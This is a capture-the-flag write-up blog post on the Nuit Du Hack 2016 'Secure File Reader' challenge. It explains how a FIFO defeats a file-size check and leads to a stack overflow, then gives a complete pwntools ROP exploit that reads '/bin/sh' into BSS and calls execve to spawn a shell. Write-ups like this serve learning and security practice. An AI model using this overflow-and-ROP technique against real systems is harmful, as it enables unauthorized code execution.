Nuit Du Hack CTF’16 Secure File Reader

Solved by 4rbit3r

This question was a pretty good one which made me google a bit. After the CTF was over, I found out that the original intention was to exploit the challenge using a race-condition.

You can find the details of that method here:  Secure File Reader Race-condition

So the binary is a 32 bit one which has only NX enabled and no other protections.

$ ./pwn
Usage ./prog <filename>

So it basically requires, as argument, the name of the file. A check function is called which checks if the size of the given file is less than or equal to 4096 bytes.

If the size is greater than 4096 bytes, then we are shown an error message. This message is also shown if the file doesn’t exist or the program doesn’t have permission to access that file.

$ ./pwn asdf
No No the file is too big

So what happens after the check_size() function?

Once the size of the file is verified to be less than 4096 bytes, the program calls the save_in_buffer() function which basically copies the content of the file onto the stack.

Possibility of a buffer overflow if we manage to somehow get through the check_size().

There is a little bit of knowledge required here about some data structures. It is that the size of a FIFO data structure is 0. So that means, we can store as many bytes as we want in the FIFO, but it will still show its size as 0.

So now, ROP.

What I basically did is to use a read syscall to read the string “/bin/sh” onto the BSS segment. And then use that string to call execve which pops a shell.

And here’s the exploit:

from pwn import *
from subprocess import call
def make_payload(payload):
with open("inp","wb") as f:
f.write(payload)
call("cat inp > FIFO &",shell=True)

call(["mkfifo","FIFO"])

pattern=util.cyclic.cyclic(5000,n=4)
make_payload(pattern)
p=process(['pwn','FIFO'])
log.info(p.recvline())
p.close()
time.sleep(2)
elf=Core('core')
pc=hex(elf.eip)[2::]
pc=pc.decode('hex')[::-1]
offset=pattern.find(pc)
log.progress("Offset found at "+str(offset))

g1=pack(0x08055140)   #xor eax,eax;ret;
g2=pack(0x080eb753)     #inc eax;ret;
g3=pack(0x08072731)     #pop ecx;pop ebx;ret;
bss=pack(0x80ed638)     #data segment =>buf
num=pack(0xffffffff)
g4=pack(0x080ec561)     #inc ebx;ret;
g5=pack(0x08072dd0)     #int 0x80;ret
g6=pack(0x080ec486)        #inc ecx;ret;
g7=pack(0x080550d5)   #mov edx,0xffffffff
g8=pack(0x0805d6f7)   #inc edx;ret;
g9=pack(0x08072732)   #pop ebx;ret;
payload=flat(g1,[g2*3],g3,bss,num,g4,g5,[g2*2],g3,num,bss,g6,g7,g8,g5,g1,g2,g9,num,[g4*10],g5)

payload=fit({offset:payload},filler="A")

p=process(['pwn','FIFO'])
make_payload(payload)
log.info(p.recvline())
p.sendline("/bin/sh"+"\x00")
if p.connected():
log.success("Got shell")
p.interactive()
else:
log.failure("Exploit didn't work")

And all you need to do here is to modify the code to ssh into the host, upload the payload file and the FIFO and just execute the binary on the host.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Create a free website or blog at WordPress.com.

Up ↑

%d bloggers like this: